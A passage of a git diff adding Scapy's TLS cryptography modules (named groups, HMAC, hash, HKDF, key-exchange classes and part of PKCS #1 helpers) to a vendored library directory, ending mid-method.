+ 0BFD64B6 45036C7A 4E677D2C 38532A3A 23BA4442 CAF53EA6 + 3BB45432 9B7624C8 917BDD64 B1C0FD4C B38E8C33 4C701C3A + CDAD0657 FCCFEC71 9B1F5C3E 4E46041F 388147FB 4CFDB477 + A52471F7 A9A96910 B855322E DB6340D8 A00EF092 350511E3 + 0ABEC1FF F9E3A26E 7FB29F8C 183023C3 587E38DA 0077D9B4 + 763E4E4B 94B2BBC1 94C6651E 77CAF992 EEAAC023 2A281BF6 + B3A739C1 22611682 0AE8DB58 47A67CBE F9C9091B 462D538C + D72B0374 6AE77F5E 62292C31 1562A846 505DC82D B854338A + E49F5235 C95B9117 8CCF2DD5 CACEF403 EC9D1810 C6272B04 + 5B3B71F9 DC6B80D6 3FDD4A8E 9ADB1E69 62A69526 D43161C1 + A41D570D 7938DAD4 A40E329C CFF46AAA 36AD004C F600C838 + 1E425A31 D951AE64 FDB23FCE C9509D43 687FEB69 EDD1CC5E + 0B8CC3BD F64B10EF 86B63142 A3AB8829 555B2F74 7C932665 + CB2C0F1C C01BD702 29388839 D2AF05E4 54504AC7 8B758282 + 2846C0BA 35C35F5C 59160CC0 46FD8251 541FC68C 9C86B022 + BB709987 6A460E74 51A8A931 09703FEE 1C217E6C 3826E52C + 51AA691E 0E423CFC 99E9E316 50C1217B 624816CD AD9A95F9 + D5B80194 88D9C0A0 A1FE3075 A577E231 83F81D4A 3F2FA457 + 1EFC8CE0 BA8A4FE8 B6855DFE 72B0A66E DED2FBAB FBE58A30 + FAFABE1C 5D71A87E 2F741EF8 C1FE86FE A6BBFDE5 30677F0D + 97D11D49 F7A8443D 0822E506 A9F4614E 011E2A94 838FF88C + D68C8BB7 C5C6424C FFFFFFFF FFFFFFFF + """) + mLen = 8192 + + +_tls_named_ffdh_groups = {256: "ffdhe2048", 257: "ffdhe3072", + 258: "ffdhe4096", 259: "ffdhe6144", + 260: "ffdhe8192"} + +_tls_named_curves = {1: "sect163k1", 2: "sect163r1", 3: "sect163r2", + 4: "sect193r1", 5: "sect193r2", 6: "sect233k1", + 7: "sect233r1", 8: "sect239k1", 9: "sect283k1", + 10: "sect283r1", 11: "sect409k1", 12: "sect409r1", + 13: "sect571k1", 14: "sect571r1", 15: "secp160k1", + 16: "secp160r1", 17: "secp160r2", 18: "secp192k1", + 19: "secp192r1", 20: "secp224k1", 21: "secp224r1", + 22: "secp256k1", 23: "secp256r1", 24: "secp384r1", + 25: "secp521r1", 26: "brainpoolP256r1", + 27: "brainpoolP384r1", 28: "brainpoolP512r1", + 29: "x25519", 30: "x448", + 0xff01: "arbitrary_explicit_prime_curves", + 0xff02: "arbitrary_explicit_char2_curves"} + +_tls_named_groups = {} +_tls_named_groups.update(_tls_named_ffdh_groups) +_tls_named_groups.update(_tls_named_curves) + + +# Below lies ghost code since the shift from 'ecdsa' to 'cryptography' lib. +# Part of the code has been kept, but commented out, in case anyone would like +# to improve ECC support in 'cryptography' (namely for the compressed point +# format and additional curves). +# +# Recommended curve parameters from www.secg.org/SEC2-Ver-1.0.pdf +# and www.ecc-brainpool.org/download/Domain-parameters.pdf +# +# +# import math +# +# from scapy.utils import long_converter, binrepr +# from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip +# +# +# def encode_point(point, point_format=0): +# """ +# Return a string representation of the Point p, according to point_format. +# """ +# pLen = len(binrepr(point.curve().p())) +# x = pkcs_i2osp(point.x(), math.ceil(pLen/8)) +# y = pkcs_i2osp(point.y(), math.ceil(pLen/8)) +# if point_format == 0: +# frmt = b'\x04' +# elif point_format == 1: +# frmt = chr(2 + y%2) +# y = '' +# else: +# raise Exception("No support for point_format %d" % point_format) +# return frmt + x + y +# +# +# try: +# import ecdsa +# ecdsa_support = True +# except ImportError: +# import logging +# log_loading = logging.getLogger("scapy.loading") +# log_loading.info("Can't import python ecdsa lib. No curves.") +# +# +# if ecdsa_support: +# +# from ecdsa.ellipticcurve import CurveFp, Point +# from ecdsa.curves import Curve +# from ecdsa.numbertheory import square_root_mod_prime +# +# +# def extract_coordinates(g, curve): +# """ +# Return the coordinates x and y as integers, +# regardless of the point format of string g. +# Second expected parameter is a CurveFp. +# """ +# p = curve.p() +# point_format = g[0] +# point = g[1:] +# if point_format == b'\x04': +# point_len = len(point) +# if point_len % 2 != 0: +# raise Exception("Point length is not even.") +# x_bytes = point[:point_len>>1] +# x = pkcs_os2ip(x_bytes) % p +# y_bytes = point[point_len>>1:] +# y = pkcs_os2ip(y_bytes) % p +# elif point_format in [b'\x02', b'\x03']: +# x_bytes = point +# x = pkcs_os2ip(x_bytes) % p +# # perform the y coordinate computation with self.tls_ec +# y_square = (x*x*x + curve.a()*x + curve.b()) % p +# y = square_root_mod_prime(y_square, p) +# y_parity = ord(point_format) % 2 # \x02 means even, \x03 means odd # noqa: E501 +# if y % 2 != y_parity: +# y = -y % p +# else: +# raise Exception("Point starts with %s. This encoding " +# "is not recognized." % repr(point_format)) +# if not curve.contains_point(x, y): +# raise Exception("The point we extracted does not belong on the curve!") # noqa: E501 +# return x, y +# +# def import_curve(p, a, b, g, r, name="dummyName", oid=(1, 3, 132, 0, 0xff)): # noqa: E501 +# """ +# Create an ecdsa.curves.Curve from the usual parameters. +# Arguments may be either octet strings or integers, +# except g which we expect to be an octet string. +# """ +# if isinstance(p, str): +# p = pkcs_os2ip(p) +# if isinstance(a, str): +# a = pkcs_os2ip(a) +# if isinstance(b, str): +# b = pkcs_os2ip(b) +# if isinstance(r, str): +# r = pkcs_os2ip(r) +# curve = CurveFp(p, a, b) +# x, y = extract_coordinates(g, curve) +# generator = Point(curve, x, y, r) +# return Curve(name, curve, generator, oid) + +# Named curves + +# We always provide _a as a positive integer. + +# _p = long_converter(""" +# ffffffff ffffffff ffffffff fffffffe ffffac73""") +# _a = 0 +# _b = 7 +# _Gx = long_converter(""" +# 3b4c382c e37aa192 a4019e76 3036f4f5 dd4d7ebb""") +# _Gy = long_converter(""" +# 938cf935 318fdced 6bc28286 531733c3 f03c4fee""") +# _r = long_converter("""01 +# 00000000 00000000 0001b8fa 16dfab9a ca16b6b3""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# SECP160k1 = Curve("SECP160k1", curve, generator, +# (1, 3, 132, 0, 9), "secp160k1") + +# _p = long_converter(""" +# ffffffff ffffffff ffffffff ffffffff 7fffffff""") +# _a = -3 % _p +# _b = long_converter(""" +# 1c97befc 54bd7a8b 65acf89f 81d4d4ad c565fa45""") +# _Gx = long_converter(""" +# 4a96b568 8ef57328 46646989 68c38bb9 13cbfc82""") +# _Gy = long_converter(""" +# 23a62855 3168947d 59dcc912 04235137 7ac5fb32""") +# _r = long_converter("""01 +# 00000000 00000000 0001f4c8 f927aed3 ca752257""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# SECP160r1 = Curve("SECP160r1", curve, generator, +# (1, 3, 132, 0, 8), "secp160r1") + +# _p = long_converter(""" +# ffffffff ffffffff ffffffff fffffffe ffffac73""") +# _a = -3 % _p +# _b = long_converter(""" +# b4e134d3 fb59eb8b ab572749 04664d5a f50388ba""") +# _Gx = long_converter(""" +# 52dcb034 293a117e 1f4ff11b 30f7199d 3144ce6d""") +# _Gy = long_converter(""" +# feaffef2 e331f296 e071fa0d f9982cfe a7d43f2e""") +# _r = long_converter("""01 +# 00000000 00000000 0000351e e786a818 f3a1a16b""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# SECP160r2 = Curve("SECP160r2", curve, generator, +# (1, 3, 132, 0, 30), "secp160r2") + +# _p = long_converter(""" +# ffffffff ffffffff ffffffff ffffffff fffffffe ffffee37""") +# _a = 0 +# _b = 3 +# _Gx = long_converter(""" +# db4ff10e c057e9ae 26b07d02 80b7f434 1da5d1b1 eae06c7d""") +# _Gy = long_converter(""" +# 9b2f2f6d 9c5628a7 844163d0 15be8634 4082aa88 d95e2f9d""") +# _r = long_converter(""" +# ffffffff ffffffff fffffffe 26f2fc17 0f69466a 74defd8d""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# SECP192k1 = Curve("SECP192k1", curve, generator, +# (1, 3, 132, 0, 31), "secp192k1") + +# _p = long_converter(""" +# ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe +# ffffe56d""") +# _a = 0 +# _b = 5 +# _Gx = long_converter(""" +# a1455b33 4df099df 30fc28a1 69a467e9 e47075a9 0f7e650e +# b6b7a45c""") +# _Gy = long_converter(""" +# 7e089fed 7fba3442 82cafbd6 f7e319f7 c0b0bd59 e2ca4bdb +# 556d61a5""") +# _r = long_converter("""01 +# 00000000 00000000 00000000 0001dce8 d2ec6184 caf0a971 +# 769fb1f7""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# SECP224k1 = Curve("SECP224k1", curve, generator, +# (1, 3, 132, 0, 32), "secp224k1") + +# _p = long_converter(""" +# A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028 +# 2013481D 1F6E5377""") +# _a = long_converter(""" +# 7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C +# E94A4B44 F330B5D9""") +# _b = long_converter(""" +# 26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE +# 6BCCDC18 FF8C07B6""") +# _Gx = long_converter(""" +# 8BD2AEB9 CB7E57CB 2C4B482F FC81B7AF B9DE27E1 E3BD23C2 +# 3A4453BD 9ACE3262""") +# _Gy = long_converter(""" +# 547EF835 C3DAC4FD 97F8461A 14611DC9 C2774513 2DED8E54 +# 5C1D54C7 2F046997""") +# _r = long_converter(""" +# A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7 +# 901E0E82 974856A7""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# BRNP256r1 = Curve("BRNP256r1", curve, generator, +# (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), "brainpoolP256r1") + +# _p = long_converter(""" +# 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4 +# 12B1DA19 7FB71123 ACD3A729 901D1A71 87470013 3107EC53""") +# _a = long_converter(""" +# 7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787 +# 139165EF BA91F90F 8AA5814A 503AD4EB 04A8C7DD 22CE2826""") +# _b = long_converter(""" +# 04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6 +# 2E880EA5 3EEB62D5 7CB43902 95DBC994 3AB78696 FA504C11""") +# _Gx = long_converter(""" +# 1D1C64F0 68CF45FF A2A63A81 B7C13F6B 8847A3E7 7EF14FE3 +# DB7FCAFE 0CBD10E8 E826E034 36D646AA EF87B2E2 47D4AF1E""") +# _Gy = long_converter(""" +# 8ABE1D75 20F9C2A4 5CB1EB8E 95CFD552 62B70B29 FEEC5864 +# E19C054F F9912928 0E464621 77918111 42820341 263C5315""") +# _r = long_converter(""" +# 8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3 +# 1F166E6C AC0425A7 CF3AB6AF 6B7FC310 3B883202 E9046565""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# BRNP384r1 = Curve("BRNP384r1", curve, generator, +# (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), "brainpoolP384r1") + +# _p = long_converter(""" +# AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E +# D6639CCA 70330871 7D4D9B00 9BC66842 AECDA12A E6A380E6 +# 2881FF2F 2D82C685 28AA6056 583A48F3""") +# _a = long_converter(""" +# 7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610 +# A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5 +# 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA""") +# _b = long_converter(""" +# 3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 +# 8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA DC083E67 +# 984050B7 5EBAE5DD 2809BD63 8016F723""") +# _Gx = long_converter(""" +# 81AEE4BD D82ED964 5A21322E 9C4C6A93 85ED9F70 B5D916C1 +# B43B62EE F4D0098E FF3B1F78 E2D0D48D 50D1687B 93B97D5F +# 7C6D5047 406A5E68 8B352209 BCB9F822""") +# _Gy = long_converter(""" +# 7DDE385D 566332EC C0EABFA9 CF7822FD F209F700 24A57B1A +# A000C55B 881F8111 B2DCDE49 4A5F485E 5BCA4BD8 8A2763AE +# D1CA2B2F A8F05406 78CD1E0F 3AD80892""") +# _r = long_converter(""" +# AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E +# D6639CCA 70330870 553E5C41 4CA92619 41866119 7FAC1047 +# 1DB1D381 085DDADD B5879682 9CA90069""") +# curve = CurveFp(_p, _a, _b) +# generator = Point(curve, _Gx, _Gy, _r) +# BRNP512r1 = Curve("BRNP512r1", curve, generator, +# (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), "brainpoolP512r1") diff --git a/libs/scapy/layers/tls/crypto/h_mac.py b/libs/scapy/layers/tls/crypto/h_mac.py new file mode 100755 index 0000000..b1dad74 --- /dev/null +++ b/libs/scapy/layers/tls/crypto/h_mac.py @@ -0,0 +1,118 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016 Maxence Tury +# This program is published under a GPLv2 license + +""" +HMAC classes. +""" + +from __future__ import absolute_import +import hmac + +from scapy.layers.tls.crypto.hash import _tls_hash_algs +import scapy.modules.six as six +from scapy.compat import bytes_encode + +_SSLv3_PAD1_MD5 = b"\x36" * 48 +_SSLv3_PAD1_SHA1 = b"\x36" * 40 +_SSLv3_PAD2_MD5 = b"\x5c" * 48 +_SSLv3_PAD2_SHA1 = b"\x5c" * 40 + +_tls_hmac_algs = {} + + +class _GenericHMACMetaclass(type): + """ + HMAC classes are automatically registered through this metaclass. + Furthermore, their name attribute is extracted from their class name. + + Note that, when used with TLS, the HMAC key length equates the output of + the associated hash function (see RFC 5246, appendix C). + Also, we do not need to instantiate the associated hash function. + """ + def __new__(cls, hmac_name, bases, dct): + hash_name = hmac_name[5:] # remove leading "Hmac_" + if hmac_name != "_GenericHMAC": + dct["name"] = "HMAC-%s" % hash_name + dct["hash_alg"] = _tls_hash_algs[hash_name] + dct["hmac_len"] = _tls_hash_algs[hash_name].hash_len + dct["key_len"] = dct["hmac_len"] + the_class = super(_GenericHMACMetaclass, cls).__new__(cls, hmac_name, + bases, dct) + if hmac_name != "_GenericHMAC": + _tls_hmac_algs[dct["name"]] = the_class + return the_class + + +class HMACError(Exception): + """ + Raised when HMAC verification fails. + """ + pass + + +class _GenericHMAC(six.with_metaclass(_GenericHMACMetaclass, object)): + def __init__(self, key=None): + if key is None: + self.key = b"" + else: + self.key = bytes_encode(key) + + def digest(self, tbd): + if self.key is None: + raise HMACError + tbd = bytes_encode(tbd) + return hmac.new(self.key, tbd, self.hash_alg.hash_cls).digest() + + def digest_sslv3(self, tbd): + if self.key is None: + raise HMACError + + h = self.hash_alg() + if h.name == "SHA": + pad1 = _SSLv3_PAD1_SHA1 + pad2 = _SSLv3_PAD2_SHA1 + elif h.name == "MD5": + pad1 = _SSLv3_PAD1_MD5 + pad2 = _SSLv3_PAD2_MD5 + else: + raise HMACError("Provided hash does not work with SSLv3.") + + return h.digest(self.key + pad2 + + h.digest(self.key + pad1 + tbd)) + + +class Hmac_NULL(_GenericHMAC): + hmac_len = 0 + key_len = 0 + + def digest(self, tbd): + return b"" + + def digest_sslv3(self, tbd): + return b"" + + +class Hmac_MD5(_GenericHMAC): + pass + + +class Hmac_SHA(_GenericHMAC): + pass + + +class Hmac_SHA224(_GenericHMAC): + pass + + +class Hmac_SHA256(_GenericHMAC): + pass + + +class Hmac_SHA384(_GenericHMAC): + pass + + +class Hmac_SHA512(_GenericHMAC): + pass diff --git a/libs/scapy/layers/tls/crypto/hash.py b/libs/scapy/layers/tls/crypto/hash.py new file mode 100755 index 0000000..becbcff --- /dev/null +++ b/libs/scapy/layers/tls/crypto/hash.py @@ -0,0 +1,72 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016 Maxence Tury +# This program is published under a GPLv2 license + +""" +Hash classes. +""" + +from __future__ import absolute_import +from hashlib import md5, sha1, sha224, sha256, sha384, sha512 +import scapy.modules.six as six + + +_tls_hash_algs = {} + + +class _GenericHashMetaclass(type): + """ + Hash classes are automatically registered through this metaclass. + Furthermore, their name attribute is extracted from their class name. + """ + def __new__(cls, hash_name, bases, dct): + if hash_name != "_GenericHash": + dct["name"] = hash_name[5:] # remove leading "Hash_" + the_class = super(_GenericHashMetaclass, cls).__new__(cls, hash_name, + bases, dct) + if hash_name != "_GenericHash": + _tls_hash_algs[hash_name[5:]] = the_class + return the_class + + +class _GenericHash(six.with_metaclass(_GenericHashMetaclass, object)): + def digest(self, tbd): + return self.hash_cls(tbd).digest() + + +class Hash_NULL(_GenericHash): + hash_len = 0 + + def digest(self, tbd): + return b"" + + +class Hash_MD5(_GenericHash): + hash_cls = md5 + hash_len = 16 + + +class Hash_SHA(_GenericHash): + hash_cls = sha1 + hash_len = 20 + + +class Hash_SHA224(_GenericHash): + hash_cls = sha224 + hash_len = 28 + + +class Hash_SHA256(_GenericHash): + hash_cls = sha256 + hash_len = 32 + + +class Hash_SHA384(_GenericHash): + hash_cls = sha384 + hash_len = 48 + + +class Hash_SHA512(_GenericHash): + hash_cls = sha512 + hash_len = 64 diff --git a/libs/scapy/layers/tls/crypto/hkdf.py b/libs/scapy/layers/tls/crypto/hkdf.py new file mode 100755 index 0000000..3d05129 --- /dev/null +++ b/libs/scapy/layers/tls/crypto/hkdf.py @@ -0,0 +1,63 @@ +# This file is part of Scapy +# Copyright (C) 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Stateless HKDF for TLS 1.3. +""" + +import struct + +from scapy.config import conf +from scapy.layers.tls.crypto.pkcs1 import _get_hash + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives.kdf.hkdf import HKDF, HKDFExpand + from cryptography.hazmat.primitives.hashes import Hash + from cryptography.hazmat.primitives.hmac import HMAC + + +class TLS13_HKDF(object): + def __init__(self, hash_name="sha256"): + self.hash = _get_hash(hash_name) + + def extract(self, salt, ikm): + h = self.hash + hkdf = HKDF(h, h.digest_size, salt, None, default_backend()) + if ikm is None: + ikm = b"\x00" * h.digest_size + return hkdf._extract(ikm) + + def expand(self, prk, info, L): + h = self.hash + hkdf = HKDFExpand(h, L, info, default_backend()) + return hkdf.derive(prk) + + def expand_label(self, secret, label, hash_value, length): + hkdf_label = struct.pack("!H", length) + hkdf_label += struct.pack("B", 6 + len(label)) + hkdf_label += b"tls13 " + hkdf_label += label + hkdf_label += struct.pack("B", len(hash_value)) + hkdf_label += hash_value + return self.expand(secret, hkdf_label, length) + + def derive_secret(self, secret, label, messages): + h = Hash(self.hash, backend=default_backend()) + h.update(messages) + hash_messages = h.finalize() + hash_len = self.hash.digest_size + return self.expand_label(secret, label, hash_messages, hash_len) + + def compute_verify_data(self, basekey, handshake_context): + hash_len = self.hash.digest_size + finished_key = self.expand_label(basekey, b"finished", b"", hash_len) + + h = Hash(self.hash, backend=default_backend()) + h.update(handshake_context) + hash_value = h.finalize() + + hm = HMAC(finished_key, self.hash, default_backend()) + hm.update(hash_value) + return hm.finalize() diff --git a/libs/scapy/layers/tls/crypto/kx_algs.py b/libs/scapy/layers/tls/crypto/kx_algs.py new file mode 100755 index 0000000..8be436d --- /dev/null +++ b/libs/scapy/layers/tls/crypto/kx_algs.py @@ -0,0 +1,199 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Key Exchange algorithms as listed in appendix C of RFC 4346. + +XXX No support yet for PSK (also, no static DH, DSS, SRP or KRB). +""" + +from __future__ import absolute_import +from scapy.layers.tls.keyexchange import (ServerDHParams, + ServerRSAParams, + ClientDiffieHellmanPublic, + ClientECDiffieHellmanPublic, + _tls_server_ecdh_cls_guess, + EncryptedPreMasterSecret) +import scapy.modules.six as six + + +_tls_kx_algs = {} + + +class _GenericKXMetaclass(type): + """ + We could try to set server_kx_msg and client_kx_msg while parsing + the class name... :) + """ + def __new__(cls, kx_name, bases, dct): + if kx_name != "_GenericKX": + dct["name"] = kx_name[3:] # remove leading "KX_" + the_class = super(_GenericKXMetaclass, cls).__new__(cls, kx_name, + bases, dct) + if kx_name != "_GenericKX": + the_class.export = kx_name.endswith("_EXPORT") + the_class.anonymous = "_anon" in kx_name + the_class.no_ske = not ("DHE" in kx_name or "_anon" in kx_name) + the_class.no_ske &= not the_class.export + _tls_kx_algs[kx_name[3:]] = the_class + return the_class + + +class _GenericKX(six.with_metaclass(_GenericKXMetaclass)): + pass + + +class KX_NULL(_GenericKX): + descr = "No key exchange" + server_kx_msg_cls = lambda _, m: None + client_kx_msg_cls = None + + +class KX_SSLv2(_GenericKX): + descr = "SSLv2 dummy key exchange class" + server_kx_msg_cls = lambda _, m: None + client_kx_msg_cls = None + + +class KX_TLS13(_GenericKX): + descr = "TLS 1.3 dummy key exchange class" + server_kx_msg_cls = lambda _, m: None + client_kx_msg_cls = None + + +# Standard RSA-authenticated key exchange + +class KX_RSA(_GenericKX): + descr = "RSA encryption" + server_kx_msg_cls = lambda _, m: None + client_kx_msg_cls = EncryptedPreMasterSecret + +# class KX_DH_RSA(_GenericKX): +# descr = "DH with RSA-based certificates" +# server_kx_msg_cls = lambda _,m: None +# client_kx_msg_cls = None + + +class KX_DHE_RSA(_GenericKX): + descr = "Ephemeral DH with RSA signature" + server_kx_msg_cls = lambda _, m: ServerDHParams + client_kx_msg_cls = ClientDiffieHellmanPublic + +# class KX_ECDH_RSA(_GenericKX): +# descr = "ECDH RSA key exchange" +# server_kx_msg_cls = lambda _,m: None +# client_kx_msg_cls = None + + +class KX_ECDHE_RSA(_GenericKX): + descr = "Ephemeral ECDH with RSA signature" + server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) + client_kx_msg_cls = ClientECDiffieHellmanPublic + + +class KX_RSA_EXPORT(KX_RSA): + descr = "RSA encryption, export version" + server_kx_msg_cls = lambda _, m: ServerRSAParams + +# class KX_DH_RSA_EXPORT(KX_DH_RSA): +# descr = "DH with RSA-based certificates - Export version" + + +class KX_DHE_RSA_EXPORT(KX_DHE_RSA): + descr = "Ephemeral DH with RSA signature, export version" + + +# Standard ECDSA-authenticated key exchange + +# class KX_ECDH_ECDSA(_GenericKX): +# descr = "ECDH ECDSA key exchange" +# server_kx_msg_cls = lambda _,m: None +# client_kx_msg_cls = None + +class KX_ECDHE_ECDSA(_GenericKX): + descr = "Ephemeral ECDH with ECDSA signature" + server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) + client_kx_msg_cls = ClientECDiffieHellmanPublic + + +# Classes below are offered without any guarantee. +# They may offer some parsing capabilities, +# but surely won't be able to handle a proper TLS negotiation. +# Uncomment them at your own risk. + +# Standard DSS-authenticated key exchange + +# class KX_DH_DSS(_GenericKX): +# descr = "DH with DSS-based certificates" +# server_kx_msg_cls = lambda _,m: ServerDHParams +# client_kx_msg_cls = ClientDiffieHellmanPublic + +# class KX_DHE_DSS(_GenericKX): +# descr = "Ephemeral DH with DSS signature" +# server_kx_msg_cls = lambda _,m: ServerDHParams +# client_kx_msg_cls = ClientDiffieHellmanPublic + +# class KX_DH_DSS_EXPORT(KX_DH_DSS): +# descr = "DH with DSS-based certificates - Export version" + +# class KX_DHE_DSS_EXPORT(KX_DHE_DSS): +# descr = "Ephemeral DH with DSS signature, export version" + + +# PSK-based key exchange + +# class KX_PSK(_GenericKX): # RFC 4279 +# descr = "PSK key exchange" +# server_kx_msg_cls = lambda _,m: ServerPSKParams +# client_kx_msg_cls = None + +# class KX_RSA_PSK(_GenericKX): # RFC 4279 +# descr = "RSA PSK key exchange" +# server_kx_msg_cls = lambda _,m: ServerPSKParams +# client_kx_msg_cls = None + +# class KX_DHE_PSK(_GenericKX): # RFC 4279 +# descr = "Ephemeral DH with PSK key exchange" +# server_kx_msg_cls = lambda _,m: ServerPSKParams +# client_kx_msg_cls = ClientDiffieHellmanPublic + +# class KX_ECDHE_PSK(_GenericKX): # RFC 5489 +# descr = "Ephemeral ECDH PSK key exchange" +# server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m) +# client_kx_msg_cls = ClientDiffieHellmanPublic + + +# SRP-based key exchange + +# + + +# Kerberos-based key exchange + +# class KX_KRB5(_GenericKX): +# descr = "Kerberos 5 key exchange" +# server_kx_msg_cls = lambda _,m: None # No SKE with kerberos +# client_kx_msg_cls = None + +# class KX_KRB5_EXPORT(KX_KRB5): +# descr = "Kerberos 5 key exchange - Export version" + + +# Unauthenticated key exchange (opportunistic encryption) + +class KX_DH_anon(_GenericKX): + descr = "Anonymous DH, no signatures" + server_kx_msg_cls = lambda _, m: ServerDHParams + client_kx_msg_cls = ClientDiffieHellmanPublic + + +class KX_ECDH_anon(_GenericKX): + descr = "ECDH anonymous key exchange" + server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m) + client_kx_msg_cls = ClientECDiffieHellmanPublic + + +class KX_DH_anon_EXPORT(KX_DH_anon): + descr = "Anonymous DH, no signatures - Export version" diff --git a/libs/scapy/layers/tls/crypto/pkcs1.py b/libs/scapy/layers/tls/crypto/pkcs1.py new file mode 100755 index 0000000..5ee25f9 --- /dev/null +++ b/libs/scapy/layers/tls/crypto/pkcs1.py @@ -0,0 +1,226 @@ +# This file is part of Scapy +# Copyright (C) 2008 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +PKCS #1 methods as defined in RFC 3447. + +We cannot rely solely on the cryptography library, because the openssl package +used by the cryptography library may not implement the md5-sha1 hash, as with +Ubuntu or OSX. This is why we reluctantly keep some legacy crypto here. +""" + +from __future__ import absolute_import +from scapy.compat import bytes_encode, hex_bytes, bytes_hex +import scapy.modules.six as six + +from scapy.config import conf, crypto_validator +from scapy.error import warning +if conf.crypto_valid: + from cryptography import utils + from cryptography.exceptions import InvalidSignature, UnsupportedAlgorithm + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import hashes + from cryptography.hazmat.primitives.asymmetric import padding + from cryptography.hazmat.primitives.hashes import HashAlgorithm + + +##################################################################### +# Some helpers +##################################################################### + +def pkcs_os2ip(s): + """ + OS2IP conversion function from RFC 3447. + + :param s: octet string to be converted + :return: n, the corresponding nonnegative integer + """ + return int(bytes_hex(s), 16) + + +def pkcs_i2osp(n, sLen): + """ + I2OSP conversion function from RFC 3447. + The length parameter allows the function to perform the padding needed. + Note that the user is responsible for providing a sufficient xLen. + + :param n: nonnegative integer to be converted + :param sLen: intended length of the resulting octet string + :return: corresponding octet string + """ + # if n >= 256**sLen: + # raise Exception("Integer too large for provided sLen %d" % sLen) + fmt = "%%0%dx" % (2 * sLen) + return hex_bytes(fmt % n) + + +def pkcs_ilen(n): + """ + This is a log base 256 which determines the minimum octet string + length for unequivocal representation of integer n by pkcs_i2osp. + """ + i = 0 + while n > 0: + n >>= 8 + i += 1 + return i + + +@crypto_validator +def _legacy_pkcs1_v1_5_encode_md5_sha1(M, emLen): + """ + Legacy method for PKCS1 v1.5 encoding with MD5-SHA1 hash. + """ + M = bytes_encode(M) + md5_hash = hashes.Hash(_get_hash("md5"), backend=default_backend()) + md5_hash.update(M) + sha1_hash = hashes.Hash(_get_hash("sha1"), backend=default_backend()) + sha1_hash.update(M) + H = md5_hash.finalize() + sha1_hash.finalize() + if emLen < 36 + 11: + warning("pkcs_emsa_pkcs1_v1_5_encode: " + "intended encoded message length too short") + return None + PS = b'\xff' * (emLen - 36 - 3) + return b'\x00' + b'\x01' + PS + b'\x00' + H + + +##################################################################### +# Hash and padding helpers +##################################################################### + +_get_hash = None +if conf.crypto_valid: + + # first, we add the "md5-sha1" hash from openssl to python-cryptography + @utils.register_interface(HashAlgorithm) + class MD5_SHA1(object): + name = "md5-sha1" + digest_size = 36 + block_size = 64 + + _hashes = { + "md5": hashes.MD5, + "sha1": hashes.SHA1, + "sha224": hashes.SHA224, + "sha256": hashes.SHA256, + "sha384": hashes.SHA384, + "sha512": hashes.SHA512, + "md5-sha1": MD5_SHA1 + } + + def _get_hash(hashStr): + try: + return _hashes[hashStr]() + except KeyError: + raise KeyError("Unknown hash function %s" % hashStr) + + def _get_padding(padStr, mgf=padding.MGF1, h=hashes.SHA256, label=None): + if padStr == "pkcs": + return padding.PKCS1v15() + elif padStr == "pss": + # Can't find where this is written, but we have to use the digest + # size instead of the automatic padding.PSS.MAX_LENGTH. + return padding.PSS(mgf=mgf(h), salt_length=h.digest_size) + elif padStr == "oaep": + return padding.OAEP(mgf=mgf(h), algorithm=h, label=label) + else: + warning("Key.encrypt(): Unknown padding type (%s)", padStr) + return None + + +##################################################################### +# Asymmetric Cryptography wrappers +##################################################################### + +# Make sure that default values are consistent across the whole TLS module, +# lest they be explicitly set to None between cert.py and pkcs1.py. + +class _EncryptAndVerifyRSA(object): + + @crypto_validator + def encrypt(self, m, t="pkcs", h="sha256", mgf=None, L=None): + mgf = mgf or padding.MGF1 + h = _get_hash(h) + pad = _get_padding(t, mgf, h, L) + return self.pubkey.encrypt(m, pad) + + @crypto_validator + def 